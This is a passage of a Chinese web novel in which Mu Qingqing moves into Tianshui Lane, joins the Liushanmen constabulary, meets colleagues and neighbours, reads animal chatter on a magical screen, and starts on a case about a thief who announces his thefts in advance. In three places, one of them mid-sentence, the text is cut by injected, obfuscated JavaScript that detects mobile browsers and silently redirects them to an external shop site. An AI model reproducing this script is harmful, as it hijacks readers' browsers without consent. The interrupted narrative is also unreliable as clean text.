院子还是那个院子,和她离开时一模一样。那棵老树已经绿了,枝头冒出嫩嫩的叶子。墙角那丛不知名的花开了几朵,红艳艳的。 小荷跟在后面,东张西望,小声道:“姑娘,这就是咱们的新家?” 穆青青点点头。 “嗯。新家。” 那天晚上,穆青青躺在不算太陌生的床上,听着窗外的虫鸣。 光幕亮了。 【京城·甜水巷(当前在线:5)】 墙头狸花:【喵……来了个新的两脚兽,我怎么觉得有些眼熟。】 隔壁黄狗:【汪!在哪儿在哪儿?我怎么没看见?】 檐下麻雀:【啾啾!就那个院子!刚才有人进去了!一个大的,一个小的!】 墙角灰鼠:【吱吱!我看见了!大的那个背着包袱,小的那个东张西望,像个没见过世面的!】 穆青青站在院子里,听着脑海中叽叽喳喳的声音,忍不住弯了弯嘴角。 小荷正蹲在井台边,好奇地打量那口老井。听见她笑,抬起头:“姑娘,你笑什么?” “没什么。”穆青青道,“觉得这儿挺好。” 小荷点点头,又看了看那口井:“这井水甜不甜?明天我想洗衣服……” “去巷子口的井台洗,那儿宽敞。” 小荷“哦”了一声,又跑到老树底下,仰着脑袋看树上的鸟窝。 光幕又亮了。 檐下麻雀:【啾啾!那个小两脚兽在看咱们家!】 麻雀媳妇:【啾!别理她别理她!她不会爬树!】 穆青青笑出了声。 这一夜,她睡得很沉。 梦里没有银镯子,没有看不清脸的人。只有甜水巷的风,轻轻吹着窗外的老树,沙沙作响。 第二天一早,穆青青醒来时,阳光已经透过窗纸洒了一地。 小荷正在院子里晾衣裳,嘴里哼着不知名的小调,调子跑得没边儿,她自己倒浑然不觉。听见屋里的动静,她扬声喊:“姑娘醒了?粥在锅里热着,我腌的萝卜干,你尝尝!” 穆青青起身,推开窗。 晨风灌进来,带着巷子里的烟火气。 隔壁院子里传来炒菜的声音,锅铲碰着铁锅,叮叮当当的。再远一点,有孩子在笑,有狗在叫,有挑担子的小贩在吆喝:“豆汁儿——焦圈儿——” 她站在窗前,深深吸了一口气。 这就是京城了。 吃过早饭,穆青青换上一身从丰城带来的干净衣裳,准备去六扇门。 小荷送到门口,有些紧张:“姑娘,你一个人去行吗?要不要我跟着?” “不用。”穆青青道,“你在家收拾收拾,缺什么去巷口杂货铺买。银子在箱子里,自己拿。” 小荷点点头,又叮嘱道:“那你路上小心,早点回来。” 穆青青应了,推门出去。 甜水巷的早晨,比她想象的热闹。 巷子不宽,青石板路被晨露打得微微湿润。两边是灰墙黑瓦的小院,门口种着些耐寒的花木,有的已经开了花,红艳艳的。 隔壁院子里,一个圆脸妇人正在井台边洗衣裳,见穆青青出来,抬起头,打量她一眼,笑了。 “哟,新搬来的?昨儿个就听说了,还没顾上去串门呢。”她甩了甩手上的水,走过来,“我姓孙,住你家左边。以后街里街坊的,有事儿招呼!” 穆青青点点头:“孙婶子好。我姓穆,在六扇门当差。” 孙婶子眼睛一亮:“六扇门?哎哟,那可是了不得的地方!姑娘你是有本事的!”她絮叨起来没完,“我家那口子在码头扛活,儿子在铺子里当学徒,就我一人闲在家里。往后你缺什么短什么,尽管开口……” 穆青青笑着应了几句,告辞往巷口走去。 走到巷口,一个挑担子的货郎正蹲在那儿歇脚,见她过来,抬头看了一眼,又低下头去,继续摆弄他的货。 巷口对面的茶馆已经开门了,几个老头坐在门口喝茶下棋,有一搭没一搭地说着闲话。 穆青青穿过巷口,往东走了半条街,拐进一条更宽的巷子。六扇门的衙门,就在这条巷子尽头。 远远的,她看见一个人站在门口。 墨蓝色劲装,腰悬长剑,身姿挺拔,正是寇晟。 穆青青快走几步,上前行礼:“寇大人。” 寇晟转过身,看见她,点点头:“穆姑娘来了。走吧,我带你去认认门。” 他领着穆青青往里走,边走边道:“六扇门不比地方,人多事杂,你刚来,慢慢熟悉。缉捕司的活儿,赵统领会安排。刑名司那边,你有空了也可以去看看,多学点东西。” 穆青青点头应着,目光扫过四周。 六扇门她上次虽然来过,但只在讨论案情的大厅里待着,其他地方她避嫌,并没有到处走动过。 如今看来,这里比她想象的要大。 前后五进院落,灰墙黑瓦,廊庑相连。进进出出的人穿着统一的公服,脚步匆匆,见了寇晟,都点头招呼,目光落在穆青青身上,好奇地打量几眼。 穿过两道门,寇晟在一间偏厅前停下。 “你先在这儿等等。赵统领一会儿就来。” 他顿了顿,又道:“余肖红、林霜都在,你们江州见过,也算熟人。一会儿见了,不必拘束。” 穆青青点点头,心里微微一松。 有熟人在,总好过两眼一抹黑。 偏厅不大,陈设简单,一张桌子,几把椅子。墙上挂着一幅字,写着“明察秋毫”四个字,笔力遒劲。 她刚坐下,外面就传来一阵脚步声。 “穆姑娘!” 人未到,声先至。 余肖红掀开门帘进来,脸上带着笑,一把拉住她的手:“可算把你盼来了!路上辛苦吧?” 穆青青心里一暖,笑道:“还好,走了二十多天,不算太累。” 余肖红还是那个样子,清秀温婉,说话不急不缓。她身后跟着一个人,高挑个子,眉眼英气,正是林霜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270786|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林霜朝穆青青点点头,话不多,但眼里带着笑意:“来了就好。以后有事儿说话。” 穆青青点头应了。 三人正说着,外面又进来一个人。 四十来岁,国字脸,浓眉,目光锐利,正是赵义舒。 余肖红和林霜立刻起身:“赵统领。” 穆青青也起身行礼。 赵义舒摆摆手,示意她们坐下,自己也在桌边坐了。他打量穆青青一眼,开口道:“江州那案子,我亲眼见着的,你办得不错。” 穆青青道:“赵统领过奖,是寇大人和诸位同僚的功劳。” 赵义舒点点头,没接这个话茬,转而道:“六扇门的规矩,你慢慢学。缉捕司现有二十多人,分三班。你和余肖红、林霜、还有柳青、苗翠几个,算一班,专办涉及女子的案子。这活儿说多不多,说少不少,有时是失窃,有时是拐卖,有时是命案。你们几个都是女的,进出内宅方便,比男捕快好使。” 穆青青认真听着,不时点头。 赵义舒又道:“你的俸禄,比照七品捕头,每月八两银子,外加五斗米,三斤油盐。每月初一发。住处若需要添置什么,可以去库房领。库房的老孙,一会儿让余肖红带你去认认。” 说完这些,他站起身:“今天就到这儿。你先跟着余捕头熟悉熟悉,有什么不明白的,问她。” 穆青青起身行礼:“多谢赵统领。” 赵义舒摆摆手,走了。 余肖红笑道:“走吧,我先带你去库房领公服腰牌,再带你认认咱们缉捕司的人。” 三人从偏厅出来,往库房走去。 路上,余肖红边走边给她介绍:“缉捕司的人多,你一下子记不住也正常。慢慢来,处久了就熟了。” 林霜在旁边补了一句:“有几个你江州见过,韩大虎、郑三、周明远,都在。” 穆青青点点头,心里有了点数。 库房在第二进院子东厢。推开门,一股陈年纸张的气味扑面而来。屋里堆满了卷宗和杂物,靠墙一排柜子,柜门上贴着标签:公服、腰牌、佩刀、绳索、火折…… 一个五十来岁的老吏正趴在桌上记账,戴着副水晶镜片磨成的单照,凑近了看账本上的字。听见动静,他把单照往上一推,抬起头。 “孙叔,这是新来的穆姑娘。”余肖红道,“赵统领让来领公服腰牌。” 孙叔放下笔,从柜子里翻出软尺,示意穆青青站直了。他量得仔细,肩宽、腰围、袖长、衣长,一处不落。量完,从另一个柜子里取出两套叠得整整齐齐的公服,递过来。 “鸦青色的,六扇门的制式。你先试试,不合身拿回来改。” 穆青青接过,道了声谢。 孙叔又领着她去领腰牌。管腰牌的是个年轻书吏,接过寇晟签发的文书,核对无误,从抽屉里取出一枚铜牌,刻上“穆青青”三个字,又用钢印在背面压了个“缉捕司”的印记,递过来。 “穆姑娘,这是您的腰牌。凭此牌可在各州府驿站免费食宿,紧急时可调用当地衙役。丢了要立刻报备,补办要交三两银子。” 穆青青接过腰牌,沉甸甸的,挂在腰间正合适。 从库房出来,余肖红道:“走,带你认认人。” 68. 六扇门(2) 缉捕司在第三进院子,占了整整一进。东西厢房各三间,正房五间,都是办公的地方。进进出出的人比前院还多,有穿公服的,有穿便装的,有拿着卷宗的,有拎着枷锁的。 余肖红先领着她去了东厢。 东厢是她们几个女捕快的办公处。屋里摆着四张书案,案上堆满卷宗。靠窗那张空着,上面放着一盆半死不活的水仙。 “那是你的位子。”余肖红指了指空桌,“先放着,回头你自己收拾。” 另外三张都坐着人。靠门那张是余肖红的,挨着的那张是林霜的。另外两张,一张空着,一张堆满了杂物。 “柳青和苗翠今天都出去了。”余肖红道,“回头见了再给你介绍。” 从东厢出来,余肖红又领着她去了西厢。 西厢是男捕快们的办公处,比东厢热闹得多。屋里或坐或站,有五六个人,有的在翻卷宗,有的在低声说话,有的趴在桌上打盹。 余肖红一进门,就有人抬头招呼:“余姑娘来了!这位就是新来的穆姑娘吧?” 说话的是个精瘦的中年人,一双眼睛贼亮,脸上带着笑。他站起身,朝穆青青拱拱手:“郑三,以后多多关照。” 穆青青还礼:“穆青青,请多指教。” 郑三嘿嘿一笑:“指教不敢当。余姑娘,你带穆姑娘慢慢转,我先忙去了。”说完,一溜烟出去了。 余肖红笑道:“他就是郑三,咱们缉捕司的‘包打听’。京城三教九流,没有他不认识的。以后查案有什么需要打听的,找他准没错。” 穆青青点点头,记下了。 旁边一个黑脸膛的大汉站起身,朝穆青青点点头,瓮声瓮气道:“韩大虎。江州见过。” 穆青青点头还礼:“韩大哥好。” 韩大虎咧嘴笑了笑,又坐下了。 角落里一个瘦高个儿抬起头,看了穆青青一眼,没说话,只是点了点头,又低下头去继续看手里的东西。 余肖红压低声音:“周明远,话少,但本事大。追踪的高手,从一串脚印能看出那人走了多远、歇了几回、身上背了多少东西。” 穆青青心里记下。 西厢还有几个人,余肖红一一介绍了:王勇,二十出头,浓眉大眼,是韩大虎的徒弟;周诚,二十三岁,跑腿的活儿都归他管,人机灵嘴也甜;还有两个老捕快,一个姓刘,一个姓张,都出去办案了,不在。 从西厢出来,余肖红又领着她去正房认了认门。 正房是赵统领的签押房,还有几间是存放要紧卷宗的库房,寻常人不能进。 转完缉捕司,余肖红又领着她去食堂认门。 食堂在最后一进院子,一大间屋子,摆着十来张长桌。大师傅姓周,胖胖的,一脸和气,正蹲在门口择菜。见她们进来,热情地招呼:“新来的?一会儿尝尝我的手艺!今天红烧肉!” 穆青青笑着应了。 从食堂出来,余肖红道:“今天没什么事,你先回去安顿。明天辰时来点卯,有什么事再慢慢熟悉。” 穆青青道了谢,独自走出六扇门。 回到甜水巷时,已经是晌午了。 小荷正在院子里晾衣裳,见她回来,迎上来道:“姑娘,隔壁有人来串门!一个婶子,姓孙,说是住在咱们左边那院。送来一碗炸酱,说让咱们尝尝她的手艺。” 穆青青接过那碗炸酱,酱色油亮,肉末煸得焦黄,香气扑鼻。 “你谢过了?” “谢了谢了!”小荷道,“我还给她回了咱们从丰城带来的腌萝卜,她说好吃。” 穆青青点点头,端着炸酱进了屋。 午饭后,她坐在窗前,把那碗炸酱看了又看。京城的炸酱,和丰城的不一样。酱更咸,肉更香,里面还加了豆干丁。她夹了一筷子,就着面条吃了,味道确实不错。 光幕亮了。 【甜水巷(当前在线:5)】 隔壁黄狗:【汪!那个新来的两脚兽吃了孙婶子的炸酱!】 檐下麻雀:【啾啾!好吃吗好吃吗?】 隔壁黄狗:【汪!孙婶子说她的炸酱是祖传的,可香了!不过我觉得还是肉骨头香!】 墙头狸花:【喵……丑妞说,孙家今天做炸酱的时候,它偷吃了一大块肉,可香了……】 穆青青看着那几行字,忍不住笑出了声。 下午,她想着该去拜访一下隔壁的孙婶子,毕竟是邻居,礼尚往来。 刚走到门口,就听见隔壁院子里传来一阵说话声。 “……我跟你说,那穆姑娘,可是六扇门的!六扇门你知道吧?专门抓大案要案的!我看那姑娘年纪轻轻,肯定是个有本事的!” 是孙婶子的声音。 另一个声音道:“六扇门?那可是了不得的地方。她一个人住?还带着个小丫头?” “可不是嘛!那丫头看着也就十三四岁,怪可怜的。往后咱们多照应着点。” 穆青青站在门口,听着这些话,心里微微一暖。 她敲了敲门。 孙婶子拉开门,见她来了,眼睛一亮:“穆姑娘!快进来快进来!” 屋里还有一个妇人,三十来岁,穿着青布衣裙,眉眼温和,见穆青青进来,站起身,有些拘谨地笑了笑。 孙婶子介绍道:“这是钱秀才娘子,住在巷子西头。她男人是秀才,整天在家读书,她在绣坊做工。都是街坊,往后多走动。” 钱秀才娘子朝穆青青点点头,小声道:“穆姑娘好。” 穆青青还礼:“钱嫂子好。” 三人坐下,孙婶子沏了茶,絮絮叨叨聊起来。 这一聊,穆青青才知道,甜水巷虽小,人家却不少。 巷子东头那户姓周,开杂货铺的,两口子都和气,就是周掌柜爱喝酒,喝醉了就骂人。 巷子西头那户就是钱秀才家,两口子过得紧巴巴的,但从不欠人。 巷子最里头那户姓赵,老两口,儿子在江南做官,一年回来一趟,平时就老两口在,养着一只猫,惯得不行。 对面那户空着,房主在外地,托人照看,一年也来不了一回。 孙婶子说得兴起,把每户人家的底细都倒了出来:谁家媳妇爱吵架,谁家孩子调皮,谁家亲戚常来常往,谁家日子过得紧巴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277634|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆青青听得认真,不时点头。 钱秀才娘子话不多,只是偶尔插一句,说的也都是实在话。 聊了小半个时辰,穆青青起身告辞。孙婶子又塞给她一包自家腌的芥菜疙瘩:“拿去吃!别客气!” 穆青青接过,道了谢。 回到自己院子,小荷已经把晚饭做好了。穆青青坐下吃饭,边吃边把今天听到的跟小荷说了。 小荷听得津津有味,筷子都忘了动。 “姑娘,那咱们巷子里的人还挺多的!往后我出门买菜,也能认得几个了。” 穆青青点点头,继续吃饭。 晚上,她坐在窗前,开始写话本。 《沈园旧事》,也就是她在来京的路上开始写的那个长篇话本,写的是一个江南大家族由盛转衰的故事。她已经写了快一半了,这几天一直没顾上。 小荷在旁边做针线,时不时抬头看她一眼,又低头继续。 写着写着,光幕忽然亮了。 【甜水巷(当前在线:5)】 墙头狸花:【喵……那个两脚兽在做什么呢?】 隔壁黄狗:【汪汪!不知道啊,我被拴着的,看不见!】 檐下麻雀:【啾啾!我知道我知道!她这是在写字,附近那个秀才也经常写字!】 墙角灰鼠:【吱吱!什么字?我只知道有字的纸不好吃,臭臭的。】 穆青青看着那几行字,忍不住笑出了声。 她放下笔,走到窗边,推开窗。 月光下,墙头蹲着一只狸花猫,正歪着脑袋看她。檐下那窝麻雀挤成一团,叽叽喳喳的。墙角那个小小的洞口,探出一个小小的灰色脑袋。 她从桌上拿了几块碎肉干,放在窗台上。 “给你们。” 狸花猫第一个跳下来,叼起一块,跳到墙头慢慢吃。麻雀们叽叽喳喳地飞下来,你争我抢。灰鼠探出脑袋,小心翼翼地凑过来,叼起一小块,飞快地缩回洞里。 光幕又亮了。 墙头狸花:【喵……确认了,这个两脚兽就是上次那个,越来越懂事了。】 檐下麻雀:【啾啾!好吃好吃!明天还有吗?】 墙角灰鼠:【吱吱!这种肉干我闻过一次,是在我二舅姥爷家三表哥那儿闻到的!】 穆青青笑着应了:“明天还有。” 关上窗,她回到桌边,继续写着话本里的爱恨情仇。 第二天辰时,穆青青准时去了六扇门。 点过卯,余肖红领着她去了东厢,指着靠窗那张空桌道:“以后这就是你的位子了。缺什么去库房领,笔墨纸砚都有的。” 穆青青把带来的东西放下,又把自己的腰牌挂在桌边的架子上。 刚坐下,外面进来两个人。 走在前面的那个二十七八岁,眉眼清冷,见了穆青青,只是点了点头,就走到自己的位子坐下,一句话没说。 后面那个二十三四岁,圆脸,话多,一进门就叽叽喳喳:“哟,新来的?你就是穆姑娘吧?我叫苗翠,以后咱们就是同屋了!” 穆青青起身还礼:“穆青青,请多指教。” 69. 六扇门(3) 苗翠摆摆手:“指教什么呀,大家一起干活罢了。”她看了一眼那个冷着脸的,“那是柳青,她不爱说话,你别介意。” 柳青头也没抬,只是“嗯”了一声。 穆青青点点头,没说什么。 余肖红在一旁低声道:“柳青性子冷,但办案靠谱。苗翠话多,人也热心。处久了就知道了。” 穆青青心里有数,面上不动声色。 上午没什么事,她就把带来的卷宗翻了翻,熟悉熟悉京城的案子。 中午去食堂吃饭,周师傅果然做了红烧肉。穆青青打了一份,和余肖红、林霜坐在一起吃。 正吃着,郑三端着饭碗凑过来,笑嘻嘻的:“穆姑娘,吃得惯不?京城的饭菜和你老家那边不一样吧?” 穆青青闻言一愣,“老家”?郑三应该说的是丰城县吧。 她点点头:“还好,就是咸了点。” 郑三嘿嘿一笑:“京城人就爱吃咸的,慢慢就习惯了。”他夹了一筷子菜,又道,“以后有什么需要打听的,尽管找我。京城的事儿,没有我不知道的。” 余肖红笑道:“郑三哥又在显摆了。” 郑三一瞪眼:“什么叫显摆?这是实话!” 几人笑了一阵。 下午,穆青青跟着余肖红跑了个小案子。 是城东一户人家报官,说自家闺女丢了只金镯子,怀疑是邻居偷的。两人去了,问了一圈,查了半天,最后发现是那闺女自己收进箱底忘了地方。虚惊一场。 回来的路上,余肖红笑道:“这种案子最烦人,小事一桩,还得跑一趟。” 穆青青道:“小事也是事,总得有个交代。” 余肖红点点头,看了她一眼,忽然道:“你倒是个沉得住气的。” 穆青青笑笑,没说话。 傍晚回到甜水巷,孙婶子又送来一碗炖菜。 “穆姑娘,尝尝我的手艺!炖了一下午,烂得很!” 穆青青接过,道了谢。孙婶子又絮叨了几句,才转身回去。 小荷把炖菜热了,两人就着米饭吃了。炖的是排骨和萝卜,肉烂汤浓,确实好吃。 吃完饭,穆青青继续写话本。 小荷在旁边做针线,忽然道:“姑娘,今天我去巷口买菜,遇见钱秀才娘子了。她一个人在井台边洗衣裳,我帮她提了桶水,她可高兴了。” 穆青青点点头:“钱嫂子人不错,往后多走动走动。” 小荷应了,又道:“还有那个赵家老太太,我也见了。她蹲在门口喂猫,那只猫可胖了,毛色油亮。她跟我点点头,没说话。” 穆青青想起孙婶子说的,赵家老两口养着一只猫,惯得不行。看来就是那只了。 夜里,光幕又亮了。 【甜水巷(当前在线:5)】 墙头狸花:【喵……那个小两脚兽今天帮钱秀才娘子提水了。】 隔壁黄狗:【汪!我看见了!钱秀才娘子可高兴了,给她塞了一把枣子!】 檐下麻雀:【啾啾!枣子!什么枣子?甜不甜?】 墙头狸花:【喵……不知道。我又没吃到。】 墙角灰鼠:【吱吱!我二舅姥爷家三表哥说,他吃过枣子,可甜了!】 穆青青看着那几行字,嘴角弯了起来。 第二天,她照常去六扇门。 刚进门,就看见郑三蹲在院子里,和一个卖糖葫芦的小贩说话。见穆青青进来,他招招手:“穆姑娘,来,给你介绍个人。” 穆青青走过去,郑三指着那小贩道:“这是老吴,在西市摆摊的。以后你想吃什么糖葫芦,找他买,给你便宜!” 老吴是个五十来岁的老头,满脸褶子,咧嘴一笑,露出一口黄牙:“穆姑娘好!郑三哥的朋友,就是我的朋友!以后想吃糖葫芦,尽管来!” 穆青青笑着应了。 郑三又絮叨了几句,才放她走。 余肖红在门口等着,见她过来,笑道:“郑三哥人缘真的是好,走到哪儿都有人认识。” 穆青青点点头,心里猜想老吴极有可能是郑三哥的线人之一。 不过,捕头和自己的线人这么正大光明的在六扇门里碰面真的好吗? 这天没什么大案子,穆青青就把前几天的卷宗翻出来,仔细看了一遍。 京城的案子,和丰城确实不一样。 丰城多是邻里纠纷、小偷小摸,京城的案子却复杂得多。有涉及官员的,有涉及富商的,有涉及青楼赌场的,线索密密麻麻,牵涉的人也多。 她一边看一边记,把不明白的地方都标了出来。 中午吃饭的时候,她问余肖红:“这些案子,都是咱们缉捕司办的?” 余肖红摇摇头:“不一定。小案子咱们自己办,大案子要上报,有时刑部会派人来,有时六扇门的统领们亲自出马。咱们缉捕司只管查,审是刑名司的事,判是刑部的事。” 穆青青点点头,明白了。 下午,她正在翻卷宗,外面忽然进来一个人。 四十来岁,中等个头,穿着件灰扑扑的长衫,脸上带着笑,一进门就朝余肖红拱手:“余姑娘,听说你门昨天又结了一个案子?” 来人正是韩大虎。 余肖红笑了:“韩大哥,你消息倒是灵通。” 韩大虎嘿嘿一笑,目光落在穆青青身上,打量一眼,点点头:“穆姑娘好。以后有什么需要帮忙的,尽管开口。” 穆青青起身还礼:“韩大哥好。” 韩大虎摆摆手,又聊了几句,便借口有事,匆匆走了。 余肖红道:“韩大虎力气大,是咱们缉捕司最能打的。但他心细,抓人的时候从不多用一分力。” 穆青青点点头,心里记下了。 傍晚回家,小荷已经把饭做好了。 吃饭的时候,小荷絮絮叨叨说着今天的见闻:孙婶子家那只猫又偷吃了;钱秀才娘子今天没出门,可能是身子不舒服;赵家老太太又在喂猫,那只猫越来越胖了;巷口茶馆的说书先生今天讲了个新故事,好多人围着听…… 穆青青听着,不时应一声。 夜里,她继续写话本。 写着写着,光幕又亮了。 【甜水巷(当前在线:5)】 墙头狸花:【喵……那个两脚兽又在写字了。】 隔壁黄狗:【汪!她每天这个时候都写,我都听习惯了。】 檐下麻雀:【啾啾!写字哪儿有捉虫好玩,虫子捉了还能吃……】 墙角灰鼠:【吱吱!虫子有撒好吃的,那天的肉干好吃。】 檐下麻雀:【啾啾!都好吃都好吃。】 穆青青听着这些叽叽喳喳的声音,忍不住想起丰城的梧桐巷,想起那只玳瑁猫,想起那棵老榕树。 接下来的一段日子,穆青青渐渐摸清了六扇门的门道。 每天辰时点卯,然后各忙各的。有时跑案子,有时翻卷宗,有时和同僚们讨论案情。午饭在食堂吃,周师傅的手艺不错,红烧肉、炖排骨、炸酱面,换着花样做。 她慢慢认识了更多的人。 那天在食堂,一个五十出头、瘦高个儿的男人端着碗在她对面坐下,看了她一眼,没说话,低头继续吃。 穆青青认出他是周明远,那个话极少的追踪高手。 她也没说话,继续吃自己的。 吃到一半,周明远忽然开口:“你那案子,查得怎么样了?” 穆青青愣了一下,才反应过来他说的是前几天那个丢镯子的小案子。 “结了,虚惊一场。” 周明远点点头,又低下头继续吃,再没说话。 吃完,他站起身,看了穆青青一眼,道:“你那法子,对。继续。” 然后端着碗走了。 穆青青愣在那里,半天没反应过来。 余肖红在一旁笑道:“周明远肯定是查看了你办的那几个案子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286485|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的卷宗了,他话少,能跟你说两句话,已经是看得起你了。他那句‘你那法子对’,可是对你破案技巧很高的评价。” 穆青青笑了笑,心里却有些暖。 又有一天,她在院子里遇见钱副统领。 钱副统领瘦瘦的,留着一撮山羊胡,正站在廊下晒太阳。见她过来,点点头,慢悠悠道:“穆姑娘,丰城来的?” 穆青青点头:“是。” 钱副统领捋了捋胡子:“丰城那地方不错,鱼米之乡。我在那儿待过两年,三十年前了。” 穆青青有些意外:“大人去过丰城?” 钱副统领笑了笑:“年轻的时候,跟着老师去那儿查过一桩案子。那时候丰城还没现在热闹,街上的人也不多。一转眼,三十年了。” 他顿了顿,又道:“你在丰城破的那几个案子,我听说过。办得不错。” 穆青青道了声谢。 钱副统领摆摆手,慢悠悠地走了。 还有一次,她在库房遇见孙叔。 孙叔正趴在桌上记账,见她进来,抬起头,透过水晶镜片看了她一眼。 “穆姑娘,来领东西?” 穆青青摇摇头:“不是,想找一份旧卷宗。” 孙叔放下笔,站起身,走到一排柜子前,翻了翻,抽出一卷递给她。 “三年前的,城南那桩案子。慢慢看,不急。” 穆青青接过,道了声谢。 孙叔摆摆手,又坐回去继续记账。 她发现,六扇门这些人,话都不多,但有事儿找他们,没有推脱的。 甜水巷的生活,也越来越有滋味。 孙婶子隔三差五送点吃的,她也回赠些小玩意儿。钱秀才娘子偶尔来串门,聊些家长里短。赵家老两口见了她就点头微笑,从不多话。 最让她开心的,是那些小动物们。 这天傍晚,穆青青正在院子里喂猫,忽然听见外面传来一阵笑声。 是小荷的声音。 她走到门口一看,小荷正蹲在井台边,手里拿着一根肉骨头,逗着隔壁那只黄狗。黄狗摇着尾巴,蹦来蹦去,嘴里呜呜叫着,急得不得了。 墙头蹲着那只狸花猫,歪着脑袋看热闹。檐下那窝麻雀叽叽喳喳的,不知在议论什么。墙角那个小小的洞口,探出一个小小的灰色脑袋,黑豆似的眼睛盯着那根肉骨头。 穆青青走过去,从篮子里又拿了一根肉骨头,放在墙根底下。 “给你们的。” 黄狗立刻扑过去,叼起骨头,趴在地上啃起来。狸花猫跳下来,凑过去闻了闻,又抬头看她,似乎在问:我的呢? 穆青青从袖中摸出一块肉干,放在窗台上。 狸花猫跳上去,低头嗅了嗅,小口小口地吃起来。 檐下那窝麻雀飞下来,围着她叽叽喳喳。她从篮子里抓了一把小米,撒在地上,它们立刻扑过去抢。 墙角那只灰鼠探出脑袋,小心翼翼地看着。 穆青青笑了笑,把最后一点肉渣放在洞口。 灰鼠探出脑袋,叼起肉渣,飞快地缩回洞里。 光幕亮了。 【甜水巷(当前在线:5)】 隔壁黄狗:【汪!肉骨头真好吃!这个两脚兽真好!】 墙头狸花:【喵……肉干也不错。比昨天的香。】 檐下麻雀:【啾啾!小米!好多小米!我吃饱了!】 墙角灰鼠:【吱吱!我二舅姥爷家三表哥说,他也想吃!下次能不能多给点?】 穆青青看着那几行字,两眼笑得眯了起来。 小荷在旁边看着她,小声道:“姑娘,你笑什么?” 穆青青摇摇头:“没什么。就是觉得,这儿真好。” 小荷点点头,也笑了。 是啊,这儿真好。 京城虽大,但有这么一条小小的巷子,有这么一群可爱的小东西,有这么一间小小的院子,就够了。 70. 惊现盗圣(1) 穆青青到京城的第二个月,出了一件震动朝野的大案。 那天清晨她刚到六扇门,就觉出气氛不对。院子里站满了人,个个面色凝重,连最爱说笑的郑三都蹲在墙角,手里的烧饼啃了一半,忘了嚼。 几个书吏抱着卷宗跑来跑去,脚步匆匆,像是在准备什么要紧的东西。 “怎么了?”穆青青问余肖红。 余肖红把她拉到一边,压低声音:“刑部尚书周大人家,昨夜失窃了。” 穆青青一愣:“丢了什么?” “一方祖传的梅花砚。”余肖红顿了顿,“最邪门的是,失窃前一天,周大人书房里凭空出现一张字条,说当晚要取砚台。周大人没当回事,结果今天一早,砚台真没了。” 穆青青心里一动:“字条还在吗?” “在,正厅挂着呢。寇大人正看着。” 两人走进正厅,墙上果然挂着一张纸,已经用特制的琉璃镜框保护起来。纸上只有一行字,笔走龙蛇,气势张扬: “三公之家,吾将遍盗之。今夜先取周尚书家梅花砚,以为开场。” 落款处画着一朵小小的梅花。 寇晟站在旁边,面色沉凝,见穆青青进来,点了点头:“你来了。正好,一起看看。” 穆青青凑近细看。纸是普通的宣纸,墨是常见的松烟墨,字迹刻意写得潦草,但笔画间透着几分功底,不是那种没拿过笔的人能写出来的。她注意到纸的边缘有一道极细的折痕,像是被人折叠过,又展平了。 “三公之家?”她问,“哪三公?” 寇晟道:“京城百姓戏称的‘三公’指的是刑部尚书周崇年,人称“周半朝’,门生故旧遍朝野,半个朝廷的官员都出自他门下;兵部尚书赵广德,人称‘赵半城’,他家夫人是江南首富独女,据说带来的嫁妆富可敌城,库房里的银子能铺满半条街;还有国舅爷林永年,人称‘林半壁’,当今皇后的亲弟,虽无实职,但皇亲国戚的身份摆在那儿,谁见了不得让三分。这三位虽无三公之名,却有三公之实。飞贼说的三公之家,应该指的就是他们三家。” 穆青青点点头,又问:“那第二家呢?赵尚书家或是林国舅家收到字条了吗?” 寇晟摇头:“还没有。但我们已经加派了人手,日夜盯着。” 正说着,外面一阵急促的脚步声。一个衙役跑进来,气喘吁吁:“大人!兵部赵尚书府上来人,说今早也收到了字条!” 众人面面相觑。 第二张字条很快送到。内容和第一张几乎一样,只是日期改成了“明夜”,失物改成了“古剑”。落款仍是那朵梅花。 “古剑?”穆青青问。 余肖红道:“赵家有一柄唐代名将郭子仪的佩剑,剑身上刻着‘忠武’二字,也是祖传之宝,从不示人。听说这剑有灵性,每逢月圆之夜会自己鸣响。” 郑三在旁边插嘴:“这我听说过!赵家老爷子当年就是用这剑立下战功,才做到兵部尚书的。后来传给儿子,儿子又传给孙子,传了四代了。” 寇晟盯着那张字条,沉声道:“这飞贼消息倒灵通,连人家藏着什么都知道。” 穆青青却盯着那个落款,心里隐隐觉得哪里不对。 这飞贼专挑三公之家下手,时间掐得精准,手法干净利落,绝不是普通蟊贼;还敢留字条叫板,要么是狂妄至极,要么是另有所图。 而且这预告,失窃,再预告……倒像是在玩游戏似的,而且玩得还挺开心,那朵梅花画得圆滚滚的,看着就透着股得意劲儿。 